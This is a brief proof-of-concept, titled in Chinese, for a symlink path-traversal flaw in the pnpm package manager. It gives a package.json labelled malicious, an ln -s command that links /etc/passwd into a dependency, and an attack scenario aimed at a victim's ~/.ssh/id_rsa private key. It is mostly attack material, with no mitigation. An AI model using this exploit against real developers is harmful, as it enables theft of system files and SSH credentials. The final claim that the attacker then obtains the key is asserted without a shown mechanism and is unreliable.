CVE-2026-24056: pnpm符号链接路径遍历导致敏感文件泄露

// Malicious package.json for exploiting CVE-2026-24056 { "name": "malicious-pnpm-package", "version": "1.0.0", "description": "PoC for symlink path traversal in pnpm", "dependencies": { "leaked-data": "file:./leaked-data" } } // In leaked-data directory, create a symlink to sensitive file: // ln -s /etc/passwd normal-file // When pnpm installs this dependency, it copies /etc/passwd content // to node_modules/leaked-data/normal-file // Example attack scenario: // 1. Attacker creates package with symlink to ~/.ssh/id_rsa // 2. Victim runs: pnpm install (with the malicious git: or file: dependency) // 3. pnpm copies SSH private key to node_modules // 4. Attacker can now access victim's SSH credentials